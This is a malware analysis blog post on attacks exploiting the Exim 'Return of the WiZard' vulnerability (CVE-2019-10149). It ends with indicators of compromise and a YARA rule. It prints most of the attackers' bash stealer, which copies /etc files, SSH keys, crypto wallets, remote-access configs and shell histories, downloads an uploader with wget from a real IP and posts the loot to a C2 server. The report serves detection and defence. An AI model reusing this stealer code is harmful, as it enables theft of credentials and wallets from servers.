The “Return of the WiZard” Vulnerability: Crooks Start Hitting

Introduction

Figure 1: Exposed EXIM server in Italy (Reference: ZoomEye)

In the past days, a really important issue has been disclosed to the public: “Return of the WiZard” vulnerability (ref. EW N030619, CVE-2019-10149). Such vulnerability affected a wide range of Exim servers, one of the main email server technologies, extremely diffused all around the globe and in Italy too.

Recently, cyber-criminals groups abused this vulnerability to compromise exposed Exim mail server in the wild. During this time, Cybaze-Yoroi ZLAB observed many attack attempts trying to spread malware abusing the CVE-2019-10149 issue, for instance the SSH reverse shell first spotted by Magni R. Sigurdsson (Security Researcher), which abuses ToR network to distribute its payload, or also the 9th June wave which tried to download a particular Linux agent. Yoroi-Cybaze ZLab analyzed this malware threat.

Figure 2: Tweet about first attack wave on Exim server

Technical Analysis

Exim is a message transfer agent (MTA) developed at the University of Cambridge for Unix systems connected to the Internet. It was designed on the assumption that it would be run on hosts that are permanently connected to the Internet. Thanks to the “Return of the WiZard” vulnerability, a malformed email sent to Exim servers allows attackers to execute code under the Exim process access level, root on most servers. The entire infection chain begins with an SMTP dialog containing a specifically crafted “RCPT_TO” field.

For instance:

Figure 3: Piece of exploit used to compromise vulnerable Exim server (Reference: https://github.com/dhn/exploits/tree/master/CVE-2019-10149)

At this point, the vulnerable Exim Server locally executes the crafted part.

The Bash Stealer

Hash1c8f184c3cf902bafc9df23b13a5d51cf801026bc3bde9d6b05cf047523ac6ed
ThreatBash Stealer
Brief DescriptionInitial bash payload dropped after Exim exploit
Ssdeep48:r+GMfper8pnPDA7pIgOznRsbb9tanhc6zghOk1Y2y6EYX+UDLBoySval:r+GMfp6ubEmZz6ig0vK

Table 1: Information about sh script

Figure 4: Initial SH file detection

The SH file is not merely a dropper of another stage of the malware. It retrieves information about the infected machine, starting from the hostname and ending into the bitcoin wallets and system configurations, making it look like a quite complete stealer too. In this section we deepen all the features of this sample.

#!/bin/shexport PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbinexport LC_ALL=Cexport HISTFILE=/dev/nullexport HISTSIZE=0
HOME=/rootunset DISPLAYexport UPLOAD_URL=https://85.25.84[.99/up.php
NOLS=0NOETC=0NODUP=1V=2UF=temp3754r97y$V

Snippet 1: Declarations of global variables and IP of the C2

First of all, the script set different variables visible at all child processes thanks to “export” command. An interesting variable is “UPLOAD_URL” containing a first remote location “hxxps://85[.25.84.99/up[.php” part of the attacker infrastructure. The C2 is hosted by a German Managed Cloud Service Provider ️(PlusServer GmbH).

Second interesting part of the script is the function “snd()” defined follow.

snd () { sh -c "UPLOAD_FILE=\"$1\" UPLOAD_NAME=\"$(hostname).tbz2\" UPLOAD_URL=$UPLOAD_URL atd &"; }

Snippet 2: “snd()” function used to upload stolen information

This line of the script is one of the most important of all the infection chain. It launches a shell command with three exported variables “UPLOAD_FILE”, “UPLOAD_NAME”, “UPLOAD_URL” and then the “atd” file is executed. It is described in the section “The payload”. Instead, the final part of the script is:

# EXIM
tail -n 100 /etc/*release /etc/version > system.version  2>/dev/nullip addr > ip  2>/dev/nulliptables-save  > iptables  2>/dev/nullip6tables-save > ip6tables 2>/dev/null
# /EXIM end exim
hostname > hostnameuname -a > unameecho `date -u` '('`$(which date)`')' > dateuptime > uptimew > wid > id
ps auxwwwwwTH > psps auxwwwwwf  > ps-forestps auxwwwwwfe > ps-env
cat /proc/meminfo > meminfo 2>/dev/nullcat /proc/cpuinfo > cpuinfo 2>/dev/nullifconfig -a > ifconfig 2>/dev/nulldf > df 2>/dev/nulldmesg > dmesg 2>/dev/nullmount > mount 2>/dev/nullenv > env 2>/dev/null
lspci -k > lspci 2>/dev/nulllsusb > lsusb 2>/dev/null
netstat -antpuxwenW > netstat 2>/dev/nullroute -en > route 2>/dev/null
# other kernel info
cat /proc/modules > lsmod 2>/dev/nullcp /proc/version /proc/cmdline /proc/filesystems . 2>/dev/nulllscpu > lscpu 2>/dev/null
# copy stuff from /etc?
if [ $NOETC -eq 0 ]; then mkdir $main_dir/root/sysinfo/etc cd $main_dir/root/sysinfo/etc cp -pRL /etc/*release /etc/cron* /etc/*version /etc/issue* /etc/hosts* /etc/motd /etc/passwd /etc/apache2 /etc/httpd /etc/nginx /etc/resolv* /etc/wpa* . 2>/dev/null cd -fi
cd $main_dir/root
# list some dirs
if [ $NOLS -eq 0 ]; then ls -laR /boot > ls-boot 2>&1 ls -laR /etc  > ls-etc  2>&1fi
# compress n clean up
cd $main_dirtar -cj --exclude 'root/sysinfo/etc/httpd/modules*' --exclude 'root/sysinfo/etc/httpd/lib*' --exclude 'root/sysinfo/etc/httpd/man*' -f $BASE/rf root
# drop source files
rm -rf $main_dir &
# ready to send!
cd $BASE
wget -q http://173.212.214.137/se -O atd || wget -q http://173.212.214.137/icantgetit -O /dev/nulltest `stat -c %s atd` -eq 610932 && chmod +x atd && snd rf

Snippet 3: Piece of sh script utilized to grab all victim machine

In the “#EXIM” section the script gather the following information:  system version, ip, iptables status, ip6tables status. However, the “#EXIM” label is misleading because this piece of code refers only to information about the machine network configuration and no EXIM configuration is retrieved. After this, the script continues to gather other information like:

  • Name of the host
  • Operating system name
  • Date in UTC and CEST format
  • Server uptime
  • Summary of every user logged into a computer
  • User ID
  • Running process
  • Information about memory
  • Info about CPU
  • IPv4
  • Disk Space
  • Message contained in Kernel buffer
  • Filesystem structure
  • All current environment variables
  • All peripherals and PCI bus
  • All USB bus
  • State of established connection
  • Information about routing tables
  • kernel modules
  • Information about CPU architecture

In the section labeled “#copy stuff from /etc?”, the script steals all the files stored in /etc/ path. Its loot is stored on “$main_dir/root/sysinfo/etc” where $main_dir is “/var/tmp”. It contains a copy of the whole Apache and Nginx configuration folders, and the system users and groups.

# copy stuff from /etc?
if [ $NOETC -eq 0 ]; then 
mkdir $main_dir/root/sysinfo/etc 
cd $main_dir/root/sysinfo/etc 
cp -pRL /etc/*release /etc/cron* /etc/*version /etc/issue* /etc/hosts* /etc/motd /etc/passwd /etc/apache2 /etc/httpd /etc/nginx /etc/resolv* /etc/wpa* . 2>/dev/null 
cd -
fi

Snippet 4: Copy of all files contained in /etc path

In addition, the following piece of code shows the script snippet able to steal cryptocoin wallets and to pillage other interesting files. For instance user’s ssh configs and configuration files of remote management tools, like Remmina, Rdesk and VNC potentially enabling further network compromise. Moreover, it gathers DB client configuration files for DbShell and Redis, along with user command history too.

cd $HOME && tar cf $main_dir/root/root.tar \ .*coin/w*dat .*Coin/w*dat .dash*/w*dat .dash*/*.conf .*coin/*.conf .*Coin/*.conf *address.txt \ *coin/w*dat *Coin/w*dat .vnc* .redis* .rdesk* .remmina \ /home/*/.*coin/w*dat /home/*/.dash*/w*dat /home/*/.dash*/*conf /home/*/.*Coin/w*dat /home/*/.*coin/*.conf /home/*/.*Coin/*.conf \ /home/*/.ssh /home/*/.remmina /home/*/.vnc* /home/*/.redis* /home/*/.rdesk* /home/*/.remmina \ /home/*/.bash* /home/*/.zsh* /home/*/.*hist* /home/*/.profile /home/*/.dbshell 2>/dev/null
cd $main_dir/root/

Snippet 5: Grab of all information on ssh, remmina, vnc, redis and rdesk configuration files.

Finally, all these information are compressed, sent to the C2 using the previously mentioned “snd()” function and then removed from the machine. The last lines of the script downloads another piece of malware: an ELF32 executable hosted on the same server at  “hxxp://173[.212.214[.137/se”. It  is the “atd” file referenced in the “snd()” function.

The ELF Uploader

Hashd8a787dc774748bf26e3dce1b079e9bef071c0327b6adcd8cc71ed956365201c
ThreatELF Uploader
Brief DescriptionMalware downloaded after exim exploitation packed with UPX compressor
Ssdeep12288:FyqFENCHmitUVm9Q8vvsOjIE7WmUlwUJoAAxgeB2DMX+H0XxDTcKe+DduDkEbAd+:FyqusHBWEQ8vk

Table 2: Information about se (ELF file packed with UPX)

This sample was compressed with the standard UPX compressor. The unpacked payload is:

Hashb4bae03ab71439208b79edfc5eaec42babacee982231dce001b70ec42835063a
ThreatELF Uploader unpacked
Brief DescriptionELF Uploader unpacked
Ssdeep49152:VZSOaCFC/z4Amq7DkCteu3VD69+xA1PbHrmFbTZJy:VotCFC/zoq0CguZs5LrmFPy

Table 3: Information about se (ELF file Unpacked)

Analyzing it, we found the malware tries to find three environment variables: “UPLOAD_FILE”, “UPLOAD_NAME” and “UPLOAD_URL”. All those have been declared in the “snd()” function and are used as parameters for the further execution, suggesting this piece of code may be a custom tool prepared by the attacker.

Figure 5: Evidence of “UPLOAD_FILE”, “UPLOAD_NAME” and “UPLOAD_URL” functions

If the three parameters exist, then the malware contacts the remote destination in order to upload all the data through a series of POST request to the “/up.php” resource.  As previously mentioned, the three parameters are read as environment variable in the bash command line. So, once loaded the required parameters, we are able to  correctly debug the malware. In the figure above, we reported how the malware retrieves one of the defined parameters, the “/var/tmp/temp3754r97y2” folder, which contains the loot gathered by the Bash Stealer. Indeed, Figure 12 shows the routine used by the malware to contact the C2 and it is visible in clear in the address pointed by the ESI register.

Figure 6: Read parameter routine
Figure 7: Read C2 address routine

Conclusion

This attack wave shows how  simple can be for an attacker to run a widespread attacks with customized malware, threatening all the unpatched Exim services exposed all around the Internet. In this analysis, we encountered an effective information stealer able to easily gather sensitive information about the compromised system. These information could also enable the crooks behind the campaign to further escalate the attack within victims and victim partners networks.

Anyway, this case represents only one possible attack scenario abusing the “Return of the WiZard” vulnerability: cryptominers, botnets or also ransomwares could also leverage this weakness, along with APT groups. So, the Yoroi-Cybaze researchers recommend to update Exim servers in order to avoid the risk of other attack waves.

Indicator of Compromise

  • Dropurl:
    • hxxp://173[.212.214[.137
    • hxxp://173[.212.214[.137/se
  • C2:
    • hxxps://85[.25.84[.99
    • hxxps://85[.25.84[.99/up[.php
  • Hash:
    • 1c8f184c3cf902bafc9df23b13a5d51cf801026bc3bde9d6b05cf047523ac6ed
    • d8a787dc774748bf26e3dce1b079e9bef071c0327b6adcd8cc71ed956365201c
    • b4bae03ab71439208b79edfc5eaec42babacee982231dce001b70ec42835063a

Yara Rule

rule EXIM_CVE_2019_10149 {
meta:
description = "Yara Rule EXIM UPX and de-UPX"
   	author = "Cybaze - Yoroi ZLab"
   	last_updated = "2019-06-19"
   	tlp = "white"
   	category = "informational"
strings:
    	$s1 = "ELF"
    	$s2 = "Buildroot 2014.02"
   	$s3 = "445403338652341"
    	$s4 = {96 0E 14 41 C3 0E 10 44 C6}
    	$s5 = {5C 24 0C 01 E9 8A 0C 01 32 4C}  
    	$s6 = "OpenSSL 1.0.1f 6 Jan 2014"  
    	$s7 = {0E 14 41 C3 0E 10}
    	$s8 = {5E CC 14 D8 E1 48 BF 7E 6D}
    	$s9 = {FF 83 A7 24 01 00 00 FD}
    	$s10 = "UWVSQ"
    	$s11 = {C1 0A CF 0A D9 0A E5}
    	$a12 = "UPX"
    	$a13 = {22 00 1A 03 00 2A A2}
    	$a14 = {55 06 3C 3C BA 4D E9 C6}
    	$a15 = {0B 58 A6 9E 88 BD 51 C1 22}
    	$a16 = {67 2A 21 57 23 3B 29}
   	$a17 = {F5 6F D7 CD 6D 28 1F 49}
    	$a18 = {66 FA A4 B5 78 F0 24 C3}
    	$a19 = {8E 82 07 8D 05 53 80 29}
    	$a20 = {9B 1C B7 E4 57 93 35 8F 7A}
    	$a21 = {47 8F 7E 4D 0B 24 8C 7D}
   	 
condition:
    $s1 and 4 of ($s*) or $s1 and 5 of ($a*)
}

This blog post was authored by Davide Testa, Luigi Martire and Luca Mella of Cybaze-Yoroi Z-LAB